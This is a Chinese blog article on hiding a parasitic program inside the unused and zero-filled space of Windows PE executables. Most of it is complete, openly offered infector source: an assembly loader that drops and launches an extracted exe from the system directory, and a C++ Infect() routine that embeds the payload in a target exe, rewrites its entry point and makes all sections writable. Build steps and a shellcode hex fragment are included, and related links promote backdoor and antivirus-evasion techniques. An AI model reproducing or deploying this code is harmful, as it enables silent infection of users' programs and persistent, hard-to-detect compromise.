有效利用PE文件内部空间植入用户程序

后门工厂BDF:PE文件植入技术原理与红队持久化实战 在网络安全领域,权限维持是渗透测试和后渗透阶段的核心挑战。传统的恶意代码植入方式容易被静态查杀和行为监控发现,因此需要更隐蔽的技术手段。PE文件结构作为Windows可执行文件的基础格式,其代码段中的空洞区域为隐蔽植入提供了可能。通过分析PE文件的节对齐机制和编译器行为,可以找到这些无意义的填充区域用于代码注入。这种技术能够绕过应用白名单和常规安全扫描,实现高隐蔽性的持久化访问。后门工厂正是基于这一原理,自动化完成空洞探测、Shellcode植入和结构修复的工具。在红队评估中,它特别适用于对抗严格白名单环境 阅读详情
有效利用PE文件内部空间植入用户程序

【文章标题】: 有效利用PE文件内部空间植入用户程序
【文章作者】: 空手剑客
【编写语言】: C/C++ MASM
【使用工具】: VC++6.0 RadASM PEid
【操作平台】: winXP
【作者声明】: 请勿用于非法目的!
--------------------------------------------------------------------------

------
【详细过程】
      寄生型(或者称为植入型)病毒程序将自身的可执行代码附加到宿主程序中,

并修改宿主程序的入口地址。当操作系统
  执行宿主程序时,先执行的是病毒程序,随后才执行真正的宿主程序。
      最简单的寄生型病毒程序在宿主程序的尾部增加一个节,包含了全部的可执行

病毒程序,但这会明显增加宿主程序的
  文件大小,极易被发现。随着对PE文件格式的深入了解,大家发现每个节的尾部有

大量的富余空间可以利用,可以植入相当
  长的可执行代码,这主要是PE文件的节对齐(FileAlignment)所致。在程序执行时每

个节都将被载入内存,实际的代码大小由
  各个节的VirtualSize所决定,但是由于提出了节对齐要求,PE文件中每个节的大小

将会自动调整到FileAlignment的整数倍,
  当然这样做会导致每个节的实际大小大于代码的大小(碰巧相等的情况相当少见)

,多余的文件大小在操作系统加载PE文件时
  是无用的,因而可以充分利用这一特点,将可执行代码写入节与节之间的空隙(即

补齐部分)。许多新型的病毒都是利用这一
  特点寄生在PE文件中,但是这一空间大小仍然很有限,更大一些的病毒程序代码则

无法寄生了。
      本人通过仔细研究PE文件的内容,发现其内部仍有大量的空间可以用于代码植

入。例如,程序内部定义变量是会产生大量
  的初始为0空间,尤其是定义数组时。以下面的数据定义为例,
      jumpaddr            dd          0
      hDaemon             dd          0         
      now_basein          dd          0
      byte_read           dd          0
      cDaemonName         db          50 dup(0)
      cSysdir             db          30 dup(0)
  程序文件产生的连续为0空间为96bytes,如果充分利用这一空间,对于提高寄生代

码的长度非常有意义。当然需要寻找的空间
  并不一定要连续为0,也可以连续为别的数据。
      在执行宿主程序之前,寄生代码将潜伏在宿主中的可执行代码取出,生成完整

的寄生程序,并恢复宿主原有的数据内容。
  实现这一设想的关键技术有以下几个:
      1、寻找宿主程序中的可用空间
      2、寄生代码在宿主程序中的数据结构
      3、寄生代码的重组
      4、宿主程序数据的恢复
  
   关键1的解决方法很简单:在宿主程序中寻找数据连续相等的位置,以byte为单位

计算。
   关键2的解决方法要求信息完整,保证有效提取寄生程序,保证能够有效恢复原有

数据。在这里采用如下的结构
   struct Header
   {
      BYTE  OriginData;
      DWORD DataLength;
      DWORD NextVirtualAddress;
   },共9 bytes.
   有了关键2的解决方法,关键3和4的解决就相对容易多了
   do NextVirtualAddress!=0
  {  
     Code = Code + NextVirtualAddress[0]~NextVirtualAddress[DataLength-1]
     NextVirtualAddress[0-8]~NextVirtualAddress[DataLength-1]

=NextVirtualAddress[0]~NextVirtualAddress[-9]
  }
    具体的实现方法见源代码,里面还有许多具体的处理技巧。
  
    具体的处理过程如下:
    1、编写 Loader.asm,生成可执行文件,用PEid将Loader的关键节提取出来

loader.exe.section-3.dmp
    2、编写 daemon.cpp,生成可执行文件daemon.exe并用upx压缩,这样做无非就是

想尽量缩减exe文件大小
    3、将daemon.exe和loader.exe.section-3.dmp拷贝只一个文件 copy /b

daemon.exe + loader.exe.section-3.dmp ND.exe
    4、运行ND文件即可。
  
  ;**************************************************************
  ;*                                                            *
  ;*                        Loader.asm                          *
  ;*                                                            *
  '**************************************************************
  .386
  .model flat,stdcall
    option casemap:none
   
    include windows.inc
    include kernel32.inc
    include comctl32.inc
    include user32.inc
    include gdi32.inc
    include comdlg32.inc
    include shell32.inc  
  
    includelib gdi32.lib
    includelib kernel32.lib
    includelib comctl32.lib
    includelib user32.lib
    includelib comdlg32.lib
    includelib shell32.lib
  
  .code
      invoke ExitProcess,0
  ;主程序代码,Loader执行完后会转入此处,最终无用。
  
  
   Loader SEGMENT PARA USE32 "Loader"
      assume cs:Loader ,ds:Loader
   vstart:
      push ebp
      push esp
      call nstart
   nstart:   
  ;;;;;;;;;;;;;
      pop ebp
      sub ebp,offset nstart
  ;常用的一种方法。得到一个偏移差。
  ;程序后面用到的所有变量都需要加上个这偏移差
  ;------------------------------------(上面的)--
  
      mov now_basein[ebp],401000h
  ;   正确的程序入口,需要根据实际情况修改
      mov edi,401000h
  ;   数据提取地址,需要根据实际情况修改   
  ;------------------------------------(上面的)--
  
      push 50
      lea  eax, cSysdir[ebp]  ;Daemon
      push eax
      call vGetSystemDirectory
  
      mov eax, ebp
      add eax, ebx
      add eax, edi
      
      push eax
      lea  eax, cSysdir[ebp]  ;Daemon   
      push eax   
      lea  eax, cFmtstr[ebp]
      push eax
      lea  eax, cDaemonName[ebp]  ;Daemon
      push eax
      call vwsprintf
      add esp,10h ;保证堆栈平衡
      
      push 0
      push FILE_ATTRIBUTE_NORMAL
      push CREATE_ALWAYS
      push 0
      push FILE_SHARE_READ+FILE_SHARE_WRITE
      push GENERIC_READ+GENERIC_WRITE
      lea eax, cDaemonName[ebp]  ;Daemon
      push eax
      call vCreateFile
  
      mov hDaemon[ebp],eax        
  ;打开文件Daemon
  ;------------------------------------(上面的)--
  
  ; OriginData   DataLength   NextAddress
  ;   1 db        1 dd          1 dd  
  
  loop_extract:
  
      mov esi, edi
      mov dh, byte ptr [esi]          ; dh - data to be restored
      mov ebx, dword ptr [esi+1]      ; ebx - DataLength
      mov edi, dword ptr [esi+5]      ; edi - NextAddress
      
      cmp ebx,0        ;DataLength=0,continue
      jle label_1
      
      cmp hDaemon[ebp],INVALID_HANDLE_VALUE
      jz label_1       ;跳过写Daemon,继续恢复数据  
  
      push edx
      push 0
      lea  eax,byte_read[ebp]
      push eax
      push ebx
      add  esi, 9
      push esi
      push hDaemon[ebp]
      call vWriteFile
  ;写数据
  ;---------------------------------------
      pop edx
      lea eax, vstart[ebp]
      cmp eax, esi
      jz  label_1   
  ;如果是Loader,不需要恢复原始数据
      
      add ebx,8
  loop_restore:   
      mov byte ptr [esi-9+ebx], dh
      dec ebx
      jnz loop_restore   
  ;恢复原始数据
  ;---------------------------------------
  
  label_1:
      cmp  edi, 0
      je   finish_read
      
  ; 下一段的入口地址NextAddress为0表示结束   
  ;--------------------------------------------
      jmp  loop_extract
         
  finish_read:
   
      push hDaemon[ebp]
      call vCloseHandle
      
      lea eax,cSysdir[ebp]
      push SW_SHOW
      push eax
      push eax
      lea  eax,cDaemonName[ebp]
      push eax
      lea  eax,cOpCode[ebp]
      push eax
      push NULL
      call vShellExecute
  ;打开提取出来的文件
  ;------------------------------------(上面的)--
  
  createfail:
  ;###########################################;
  ; 恢复寄存器,跳回原程序处   
  ;------------------------------------------
       mov eax,now_basein[ebp]
       pop esp
       pop ebp
       push eax
  ;-------< 做好返回原程序的准备 >-----------
  
      ret     ;返回主程序
  
  ;--------------------------
  ; 函数调用地址
  ;--------------------------
   vGetWindowsDirectory:
      mov jumpaddr[ebp],7C82293Bh
      jmp jumpaddr[ebp]
  ;00402004 >7C82293B  kernel32.GetWindowsDirectoryA
  
   vGetSystemDirectory:
      mov jumpaddr[ebp],7C814C63h
      jmp jumpaddr[ebp]
  ;00402004 >7C814C63  kernel32.GetSystemDirectoryA
      
   vGetCommandLine:
      mov jumpaddr[ebp],7C812C8Dh
      jmp jumpaddr[ebp]
  ;00402000 >7C812C8D  kernel32.GetCommandLineA
   vwsprintf:
      mov jumpaddr[ebp],77D1A2DEh
      jmp jumpaddr[ebp]
  ;00402010 >77D1A2DE  user32.wsprintfA
  
   vCreateFile:
      mov jumpaddr[ebp],7C801A24h
      jmp jumpaddr[ebp]
  ;00490628 >7C801A24  kernel32.CreateFileA
  
    vSetFilePointer:
      mov jumpaddr[ebp],7C810DA6h
      jmp jumpaddr[ebp]
   ;00490634 >7C810DA6  kernel32.SetFilePointer
  
    vReadFile:
      mov jumpaddr[ebp],7C80180Eh
      jmp jumpaddr[ebp]
  ;00490638 >7C80180E  kernel32.ReadFile
  
    vWriteFile:
      mov jumpaddr[ebp],7C810F9Fh
      jmp jumpaddr[ebp]
  ;0049061C >7C810F9F  kernel32.WriteFile
  
    vCloseHandle:
      mov jumpaddr[ebp],7C809B77h
      jmp jumpaddr[ebp]
  ;00490654 >7C809B77  kernel32.CloseHandle
  
    vMessageBox:
      mov jumpaddr[ebp],77D5050Bh
      jmp jumpaddr[ebp]
  ;00402008 >77D5050B  user32.MessageBoxA
  
   vGetSystemTime:
      mov jumpaddr[ebp],7C80176Bh
      jmp jumpaddr[ebp]
  ;00402000 >7C80176B  kernel32.GetSystemTime
  
    vExitProcess:
      mov jumpaddr[ebp],7C81CAA2h
      jmp jumpaddr[ebp]
      
  ;00490600 >7C81CAA2  kernel32.ExitProcess
    vShellExecute:
      mov jumpaddr[ebp],773EFE44h
      jmp jumpaddr[ebp]
  ;ds:[0040200C]=773EFE44 (shell32.ShellExecute)
  
  
  ;不同的WIN系统这里的地址是不同的。
  ;因此说并不是每个WIN系统都会传染的
  ;------------------------------------(上面的)--  
  
      ALIGN 4
      jumpaddr            dd          0
      hDaemon             dd          0         
      now_basein          dd          0
      byte_read           dd          0
      cOpCode             db          "open",0
      cDaemonName         db 50 dup(0)
      cSysdir             db 30 dup(0)
      cFmtstr      db "%s/%lX.exe"
  
   vend:
   Loader ends
  
  end vstart
  
  
  //**************************************************************
  //*                                                            *
  //*                       daemon.cpp                           *
  //*                                                            *
  //**************************************************************
  
  
  #include <stdio.h>
  #include <stdlib.h>
  #include <windows.h>
  #include <SHELLAPI.H>
  struct SectionInfo
  {
    BYTE Flag;
    struct _CurrentPos__
    {
      DWORD RawAddress;
      DWORD VirtualAddress;
    } CurrentPos;
    union __Length__
    {
      DWORD DataLength;
      DWORD FreeSpace;
    }Length;
    struct __NextPos__
    {
      DWORD RawAddress;
      DWORD VirtualAddress;
    }NextPos;
  };
     const int LoaderSize=567 ;  // loader.exe.section-3.dmp的大小
     const int DaemonSize=33280 ;// daemon.exe大小,如果压缩过,则应改为压

缩后的文件大小
     const int ep=0x14;          // Loader.asm中 mov now_basein

[ebp],401000h,401000h的二进制偏移
     const int head_size=9;      // 关键2中提出的数据结构大小
  
  
  
  bool Infect()
  {
    bool ret=true;
          char *HostName="c://target.exe";
    char *DataName="c://ND.exe";      //需要写入的数据 daemon+loader
    LONG e_lfanew;
    LONG PE_sig;
  
    IMAGE_FILE_HEADER FileHeader;
    IMAGE_OPTIONAL_HEADER OptionalHeader;
  
    struct SectionInfo  *mySecInfo;
  
    IMAGE_SECTION_HEADER  *SectionHeader;
    bool LoaderSecInfo;
    bool SuitableInject;
  
    HANDLE hHost,hData;
    unsigned int i,j;
    DWORD tmp;
    char cc;
    int cnt;
    unsigned int id=1;
    int FreeSpace=0;
  
    char  *data;
    char  *LoaderData,*DaemonData;
    DWORD bytes_write=0;
    DWORD bytes_read;
    DWORD LoaderSection=0xFF;
  
    mySecInfo=(struct SectionInfo *)GlobalAlloc(0,sizeof(SectionInfo)

*2000);
    if(mySecInfo==NULL)
    {
  #ifdef _DEBUG
      printf("mySecInfo==NULL /n");
  #endif
      ret=false;
      goto exit_IO;
    }
    hHost=CreateFile(HostName, GENERIC_WRITE|GENERIC_READ,

FILE_SHARE_WRITE|FILE_SHARE_READ,
            NULL, OPEN_EXISTING, NULL, NULL);
    hData=CreateFile(DataName, GENERIC_WRITE|GENERIC_READ,

FILE_SHARE_WRITE|FILE_SHARE_READ,
            NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
  
    if(hHost==INVALID_HANDLE_VALUE || hData==INVALID_HANDLE_VALUE)
    {
  #ifdef _DEBUG
      printf("hHost==NULL || hData==NULL /n");
  #endif
      ret=false;
      goto exit_IO;
    }
  //读取PE入口地址
    SetFilePointer(hHost,0x3C,0,FILE_BEGIN);
    ReadFile(hHost,&e_lfanew,sizeof(e_lfanew),&bytes_read,0);
    SetFilePointer(hHost,e_lfanew,0,FILE_BEGIN);
    ReadFile(hHost,&PE_sig,sizeof(PE_sig),&bytes_read,0);
    if(PE_sig!=IMAGE_NT_SIGNATURE)
    {
  #ifdef _DEBUG
      printf("PE_sig!=IMAGE_NT_SIGNATURE/n");
  #endif
      ret=false;
      goto exit_IO;// not NT file
    }
   
    ReadFile(hHost,&FileHeader,sizeof(IMAGE_FILE_HEADER),&bytes_read,0);
    ReadFile(hHost,&OptionalHeader,sizeof

(IMAGE_OPTIONAL_HEADER),&bytes_read,0);
  
    SectionHeader=(IMAGE_SECTION_HEADER *)GlobalAlloc(0,sizeof

(IMAGE_SECTION_HEADER)*FileHeader.NumberOfSections);
    if(SectionHeader==NULL)
    {
  #ifdef _DEBUG
      printf("SectionHeader==NULL/n");
  #endif
      //system("pause");
      ret=false;
      goto exit_IO;
    }
  
    FreeSpace=0;
    //printf("FileHeader.NumberOfSections= %

x/n",FileHeader.NumberOfSections);
   
    //读取各Section的信息
    for(i=0;i<FileHeader.NumberOfSections;i++)
      ReadFile(hHost,&SectionHeader[i],sizeof

(IMAGE_SECTION_HEADER),&bytes_read,0);
  
    //寻找可以写入Daemon和Loader的空间
    LoaderSecInfo=false;
    SuitableInject=false;
  
    id=1;
    for(i=0;i<FileHeader.NumberOfSections;i++)
    {
      //优先寻找存放Loader的空间
      if(SectionHeader[i].SizeOfRawData>SectionHeader

[i].Misc.VirtualSize+LoaderSize+head_size)
      {
        mySecInfo[0].Length.DataLength=LoaderSize;
        mySecInfo[0].Flag=0;
        mySecInfo[0].NextPos.RawAddress=0;
        mySecInfo[0].NextPos.VirtualAddress=0;
        mySecInfo[0].CurrentPos.VirtualAddress=SectionHeader

[i].VirtualAddress+
                          SectionHeader

[i].Misc.VirtualSize+OptionalHeader.ImageBase;
        mySecInfo[0].CurrentPos.RawAddress=SectionHeader

[i].PointerToRawData+SectionHeader[i].Misc.VirtualSize;
        LoaderSecInfo=true;
        LoaderSection=i;
        if(SectionHeader[i].SizeOfRawData>SectionHeader

[i].Misc.VirtualSize+LoaderSize+0x60) //如果存放Loader后仍有空间,继续存放

Daemon
        {
          id=1;
          mySecInfo[id].Length.DataLength=SectionHeader[i].SizeOfRawData-

SectionHeader[i].Misc.VirtualSize
                                               -LoaderSize-head_size*2;
          mySecInfo[id].Flag=0;
          mySecInfo[id].CurrentPos.VirtualAddress=mySecInfo

[0].CurrentPos.VirtualAddress
                                                +mySecInfo

[0].Length.DataLength+head_size;
          mySecInfo[id].CurrentPos.RawAddress=mySecInfo

[0].CurrentPos.RawAddress
                                             +mySecInfo

[0].Length.DataLength+head_size;
          FreeSpace+=mySecInfo[id].Length.DataLength;
          id+=1;
        }
        break;
      }
    }
    if(!LoaderSecInfo)
    {
  #ifdef _DEBUG
      printf("LoaderSecInfo==NULL/n");
  #endif
      ret=false;
      goto exit_IO;
    }
    for(i=0;i<FileHeader.NumberOfSections;i++)
    {
      if(SectionHeader[i].SizeOfRawData<SectionHeader[i].Misc.VirtualSize)
        continue;
      data=(char *)GlobalAlloc(0,SectionHeader[i].SizeOfRawData);
      if(data==NULL)
      {
  #ifdef _DEBUG
        printf("data==NULL/n");
  #endif
        //system("pause");
        ret=false;
        goto exit_IO;
      }
  
      SetFilePointer(hHost,SectionHeader[i].PointerToRawData,0,FILE_BEGIN);
      if(i==LoaderSection)
        bytes_read=SectionHeader[i].Misc.VirtualSize;
      else
        bytes_read=SectionHeader[i].SizeOfRawData;
      ReadFile(hHost,data,bytes_read,&tmp,0);
  
      cc=data[0];
      cnt=1;
      mySecInfo[id].CurrentPos.VirtualAddress=SectionHeader

[i].VirtualAddress+OptionalHeader.ImageBase;
      mySecInfo[id].CurrentPos.RawAddress=SectionHeader

[i].PointerToRawData;
  
      for(j=1;j<bytes_read;j++)
      {
        if(data[j]==cc)
          cnt+=1;
        else
        {
          if(cnt>0x50) //可以用于数据存放的空间长度下限
          {
            mySecInfo[id].Flag=cc;
            mySecInfo[id].Length.DataLength=cnt-head_size;
            FreeSpace+=mySecInfo[id].Length.DataLength;
            id+=1;
            if(FreeSpace>=DaemonSize)
            {
              mySecInfo[id-1].Length.DataLength-=(FreeSpace-DaemonSize);
              mySecInfo[id-1].NextPos.RawAddress=mySecInfo

[0].CurrentPos.RawAddress;
              mySecInfo[id-1].NextPos.VirtualAddress=mySecInfo

[0].CurrentPos.VirtualAddress;
              SuitableInject=true;
              GlobalFree(data);
              i=0xFFFFFFF;
              j=0xFFFFFFF;
              break;
            }
          }
          cc=data[j];
          cnt=1;
          mySecInfo[id].CurrentPos.VirtualAddress=SectionHeader

[i].VirtualAddress+j+OptionalHeader.ImageBase;
          mySecInfo[id].CurrentPos.RawAddress=SectionHeader

[i].PointerToRawData+j;
          mySecInfo[id-1].NextPos.RawAddress=mySecInfo

[id].CurrentPos.RawAddress;
          mySecInfo[id-1].NextPos.VirtualAddress=mySecInfo

[id].CurrentPos.VirtualAddress;
        }
      }
      if(data!=NULL)
        GlobalFree(data);
  //    printf("/t/tFreeSpace: %x/n",FreeSpace);
  //    system("pause");
    }
  
  #ifdef _DEBUG
    printf("=======================================/n");
  #endif
    //printf("LoaderSize =  0x%x  /n",LoaderSize);
    //printf("FreeSpace  =  0x%x  /n",FreeSpace);
    //printf("DaemonSize =  0x%x  /n",DaemonSize);
    //system("pause");
  
    if(!LoaderSecInfo || !SuitableInject)
    {
      ret=false;
      goto exit_IO;
    }
  #ifdef _DEBUG
   
    for(j=1;j<=id-1;j++)
    {
      printf("/t/tIndex: %x/n",j);
      printf("/t/tFreeSpace: %x/n",mySecInfo[j].Length.DataLength);
      printf("/t/tVirtualAddress: %x/n",mySecInfo

[j].CurrentPos.VirtualAddress);
      printf("/t/tRawAddress: %x/n",mySecInfo[j].CurrentPos.RawAddress);
      printf("/t/tData: %x/n",mySecInfo[j].Flag);
      printf("/t/tNextPos: %x/n",mySecInfo[j].NextPos);
      printf("/n");   
    }
    j=0;
    printf("/t/tIndex: %x/n",j);
    printf("/t/tFreeSpace: %x/n",mySecInfo[j].Length.DataLength);
    printf("/t/tVirtualAddress: %x/n",mySecInfo

[j].CurrentPos.VirtualAddress);
    printf("/t/tRawAddress: %x/n",mySecInfo[j].CurrentPos.RawAddress);
    printf("/t/tData: %x/n",mySecInfo[j].Flag);
    printf("/t/tNextPos: %x/n",mySecInfo[j].NextPos);
    printf("/n");   
    system("pause");
  #endif
    DaemonData=(char*)GlobalAlloc(0,DaemonSize);
    if(DaemonData==NULL)
    {
      ret=false;
      goto exit_IO;
    }  
    LoaderData=(char*)GlobalAlloc(0,LoaderSize);
    if(LoaderData==NULL)
    {
      GlobalFree(DaemonData);
      ret=false;
      goto exit_IO;
    }
  
    ReadFile(hData,DaemonData,DaemonSize,&bytes_read,0);
    ReadFile(hData,LoaderData,LoaderSize,&bytes_read,0);
    data=DaemonData;
    //写入Daemon,(DataFlag,DataLength,Next_VirtualAddress,共9个字节)
    for(j=1;j<=id-1;j++)
    {
      SetFilePointer(hHost,mySecInfo

[j].CurrentPos.RawAddress,0,FILE_BEGIN);
      WriteFile(hHost,&mySecInfo[j].Flag,1,&tmp,0);
      //WriteFile(hHost,&mySecInfo[j].CurrentPos.VirtualAddress,4,&tmp,0);
      WriteFile(hHost,&mySecInfo[j].Length.DataLength,4,&tmp,0);
      WriteFile(hHost,&mySecInfo[j].NextPos.VirtualAddress,4,&tmp,0);
      WriteFile(hHost,data,mySecInfo[j].Length.DataLength,&tmp,0);
      data+=mySecInfo[j].Length.DataLength;
    }
  
    data=LoaderData;
    //在Loader中填写Host的原始EntryPoint
    tmp=OptionalHeader.AddressOfEntryPoint+OptionalHeader.ImageBase;
    data[ep  ]=(char)(tmp&0x000000ff);
    data[ep+1]=(char)((tmp&0x0000ff00)>>8);
    data[ep+2]=(char)((tmp&0x00ff0000)>>16);
    data[ep+3]=(char)((tmp&0xff000000)>>24);
         
          //在Loader中填写Daemon的第一段数据偏移地址
    tmp=mySecInfo[1].CurrentPos.VirtualAddress;
    data[ep+5]=(char)(tmp&0x000000ff);
    data[ep+6]=(char)((tmp&0x0000ff00)>>8);
    data[ep+7]=(char)((tmp&0x00ff0000)>>16);
    data[ep+8]=(char)((tmp&0xff000000)>>24);
  
    SetFilePointer(hHost,mySecInfo[0].CurrentPos.RawAddress,0,FILE_BEGIN);
    WriteFile(hHost,&mySecInfo[0].Flag,1,&tmp,0);
    WriteFile(hHost,&mySecInfo[0].Length.DataLength,4,&tmp,0);
    WriteFile(hHost,&mySecInfo[0].NextPos.VirtualAddress,4,&tmp,0);
    WriteFile(hHost,data,mySecInfo[0].Length.DataLength,&tmp,0);
  
    GlobalFree(DaemonData);
    GlobalFree(LoaderData);
  
    //OptionalHeader的+16位置为EntryPoint
    SetFilePointer(hHost,e_lfanew+sizeof(PE_sig)+sizeof(IMAGE_FILE_HEADER)

+16,0,FILE_BEGIN);
    tmp=mySecInfo[0].CurrentPos.VirtualAddress-OptionalHeader.ImageBase+9;

//第9个字节为可执行代码
    WriteFile(hHost,&tmp,4,&bytes_write,0); //改写EntryPoint
  
    //将Section属性改为可读和可写
    SetFilePointer(hHost,e_lfanew+sizeof(IMAGE_NT_SIGNATURE)+sizeof

(IMAGE_FILE_HEADER)+sizeof(IMAGE_OPTIONAL_HEADER)
        ,0,FILE_BEGIN);
    for(i=0;i<FileHeader.NumberOfSections;i++)
    {
      SectionHeader[i].Characteristics=SectionHeader

[i].Characteristics|0x40000000|0x80000000;
      WriteFile(hHost,&(SectionHeader[i]),sizeof

(IMAGE_SECTION_HEADER),&tmp,0);
    }
    GlobalFree(SectionHeader);
    GlobalFree(mySecInfo);
  #ifdef _DEBUG
    printf("OK!/n");
  #endif
    ret=true;
  exit_IO:
    CloseHandle(hHost);
    CloseHandle(hData);
    return ret;
  }
pe植入shellcode shellcode是一个弹窗,为: fc686a0a381e686389d14f683274910c8bf48d7ef433dbb7042be366bb33325368757365725433d2648b5a308b4b0c8b491c8b098b6908ad3d6a0a381e750595ff57f895608b453c8b4c057803cd8b592003dd33ff478b34bb03f5990fbe063ac47408c1ca0703d046ebf13b54241c75e48b592403dd66 阅读详情

相关推荐

利用微PE工具箱进行电脑装机,制作最纯净的PE安装系统

在系统安装和维护的过程中,一款PE系统维护工具是十分必要的,将它制作成U盘,就可以应付大多电脑故障。PE是Preinstallation Environment的简称,即预安装环境,可以将PE理解为Windows系统的“超级精简、超级权限版”。

m0_46100784的博客 1万+

汇编语言读取PE文件

NKUERS的九九八十一难 之 汇编语言[读取PE文件]

CANDY的杂货铺 1636

向PE文件中添加ShellCode

最烦打代码了,但是貌似代码是最高效的方式……之前手动往PE文件中注入代码添加ShellCode,最近手动往PE文件中注入代码,貌似就是捆绑吧………………1------------------------------------------正题分割线------------------------------------------   工具:一个想添加ShellCode的程序,VS2013步骤为V...

LittleCracker的博客 2049

实验五——手工编写PE文件

【实验名称】 手工编写PE文件 【实验目的】 1.了解PE文件的概念、结构 2.熟悉PE编辑查看工具,详细了解PE文件格式 3.重点分析PE文件文件头、引入表、引出表,以及资源表 【实验原理】 1.PE文件概述 PE文件的全称是Portable Executable,意为可移植的可执行的文件,常见的EXE、DLL、OCX、SYS、COM都是PE文件,PE文件是微软Windows操作系统上的程序文件(可能是间接被执行,如DLL) 2.PE文件结构 3.PE文件各部分描述 MS-DOS

Onlyone_1314的博客 8927

PE文件结构分析(包括DOS头、节表的详解+最小化压缩/修改PE文件思路实现讲解)

目录 一、 PE文件总述 2 1、PE文件和COM文件 2 2、PE文件基本结构 2 二、 DOS头 3 三、 PE文件头 4 1、PE标识 4 2、映像文件头IMAGE_FILE_HEADER 4 3、可选映像头文件 5 四、 节表和节 8 1、节表 8 2、RVA和FOA 9 3、节 9 五、 修改思路 14 1、基本 14 2、进阶 14 六、 实现 15 1、修改后文件 15 1、查找序列号的错误打开方式和正确打开方式 16

从数学到机床:RTCP背后的几何变换与工业实现

本文深入解析RTCP(Rotary Tool Center Point)技术在五轴数控加工中的核心作用,通过几何变换与运动学原理实现刀尖点跟随,确保加工精度。从数学基础到工业实现,详细探讨了算法架构、机床结构适配及精度保障方法,为数控系统开发和高效加工提供关键技术支撑。

jump7的博客 261

WIN32 汇编写病毒感染PE文件

WIN32 汇编写病毒感染PE文件作者:PSH 日期:2007/3/26转载请注明出处,本人原创,欢迎交流。近来没事学习了下病毒技术,看到网上好多年青人对这个比较感兴趣,那就写出来大家分享下吧。1前提知识a.熟练WIN32 ASM 语言,不会ASM就难得写出感染PE的病毒。比如“熊猫”,就不是ASM 写的,他感染PE就是个捆绑机。b.熟悉PE文件的格式,不了解PE怎么写病毒,病毒就是修改PE文件。

枪与玫瑰的专栏 4833

ESD镜像解密与转换全攻略:从esd-decrypter到WinNTSetup的完整流程

本文详细解析了ESD镜像的加密特性与压缩优势,并提供了从解密到转换的完整实战指南。核心步骤包括使用esd-decrypter工具解密ESD文件为WIM格式,以及如何结合WinNTSetup进行灵活的系统安装或进一步封装为可引导的ISO镜像,帮助用户高效处理官方Windows安装镜像。

weixin_29207439的博客 453

开始学习汇编+PE

非常感谢醒哥。让我有机会能跟着他参加信息安全的全国邀请赛。所以自己肯定是要好好学习汇编和PE了。 这里由于自己的电脑是64位的win7,无法使用debug,搜索了一把发现下面这个优快云的网站提供了一个dos模拟器来运行32位的debug。 这里给出个链接 http://blog.youkuaiyun.com/ropin_os/article/details/6578794   接下来准备把自己电脑

Miibotree 2141

Python连接高斯数据库踩坑实录:从SASL报错到SSL安全连接的完整指南

本文详细记录了Python连接高斯数据库时遇到的SASL authentication报错及其解决方法。通过剖析SASL认证机制,对比了修改数据库配置、使用官方驱动等方案的利弊,并重点提供了通过自动化脚本生成SSL证书,实现安全、免密连接的完整指南,帮助开发者彻底解决连接难题。

weixin_28340315的博客 440

Synares病毒实战:如何手动清除C盘隐藏的Synaptics.exe(附资源修复脚本)

本文详细介绍了Synares感染型病毒的手动清除方法,该病毒伪装成Synaptics触摸板驱动,感染EXE和XLSX文件。文章提供了从病毒行为分析、母体清除到被感染文件修复的全流程指南,并附有实用的资源修复脚本和防御加固方案,帮助用户彻底清除这一顽固病毒。

lg888的博客 2364

PE文件结构详解精华(从头看下去就能大概了解PE文件结构了)

前言 此博客绝大部分内容来自云课堂武大慕课《软件安全-恶意代码机理与防护》。 内容提纲 PE文件及其表现形式 PE文件格式与恶意软件的关系 PE文件格式总体结构 代码节与数据节 引入函数节:PE文件的引入函数机制 引出函数节:DLL文件的函数引出机制 资源节:文件资源索引、定位与修改 重定位节:镜像地址改变后的地址自动修正 PE文件及其表现形式 可移植的可执行文件(PE,Portable...

雨化于画 1万+

从拧螺丝到精密装配:三菱伺服电机扭矩控制在工业自动化中的实战解析

本文深入解析三菱伺服电机扭矩控制在工业自动化中的实战应用,重点介绍MR-J4系列伺服系统的高精度扭矩响应技术。从螺丝紧固到精密装配,详细讲解扭矩控制模式的选择、硬件配置、参数设置及典型故障排查方案,帮助工程师提升生产效率和产品质量。

weixin_29186249的博客 471

【免杀对抗】PE文件植入后门之CodeCave

Code Cave(代码洞穴)是一种隐蔽的PE文件后门植入技术。它利用编译器在PE文件中生成的未使用字节区域,如对齐填充、节区间隙,注入恶意代码而不增加文件体积,从而某些场景下规避静态检测

PEIWIN的博客 1181

Unity游戏接入穿山甲广告SDK全攻略:从零到上线的避坑指南

本文为Unity开发者提供了接入穿山甲广告SDK的完整实战指南。详细解析了从账号注册、应用创建到Unity插件集成、安卓与iOS平台打包配置的全流程,并重点分享了广告加载失败、展示异常等常见问题的排查与解决方案,帮助开发者高效实现游戏广告变现。

weixin_29015899的博客 536

AI驱动的客户终身价值分析:深入理解公司的收入质量

客户终身价值(Customer Lifetime Value, CLV)是衡量客户在整个生命周期内能为企业带来多少利润的重要指标。传统的CLV计算方法往往过于简化,无法准确反映复杂的客户行为和收入模式。本文旨在介绍如何利用人工智能技术,特别是机器学习方法,构建更精确的CLV预测模型,从而帮助企业深入理解其收入质量。CLV的基本概念和商业意义传统CLV计算方法的局限性基于机器学习的CLV预测方法特征工程和模型选择策略实际应用案例和Python实现首先介绍CLV的基本概念和商业背景。

AI云原生与云计算技术学院 477

PE文件格式分析及修改

PE 的意思是 Portable Executable(可移植的执行体),它是 Win32环境自身所带的执行文件格式。在Win32系统中,PE文件可以认为.exe、.dll、.sys 、.scr类型的文件,这些文件在磁盘上存贮的格式都是有一定规律的。   PE 的意思是 Portable Executable(可移植的执行体)。它是 Win32环境自身所带的执行文件格式。它的一些特性继

记录生活,为了回忆 1658

LabVIEW实现TCP通信

在本节中,我们将简要探讨TCP通信的基础知识,并以工业物联网平台TLINK中的云端设备数据发布设计为例,详细阐述在互联网环境下TCP客户端应用程序设计的基本方法。

不脱发的程序猿 1966

PE文件(一)PE结构概述

同一份文件在内存中和在硬盘中的内容是一样的,但是他们文件内存起始位置是不一样的,它们分节之间的空白区域大小是一样的,这似乎与我们之前所作的文件硬盘与内存分布图有所不同,这是由于对齐的机制。我们之前在找DOS头时,DOS头以0x000000e0结尾, 指向了左侧地址e0的地方,从图中可知,e0的地方有5045,在最右侧有PE文字,这也正好说明了此处是pe文件真正开始的地方,即NP头开始,但这个e0并不是一直固定的。每一个节,都有一个对应的节表(图中块表)用于记录节的相关信息,如每一个节的概要性信息。

2301_78838647的博客 3015

win10 跳过U8环境检测的IE WebControls.rar

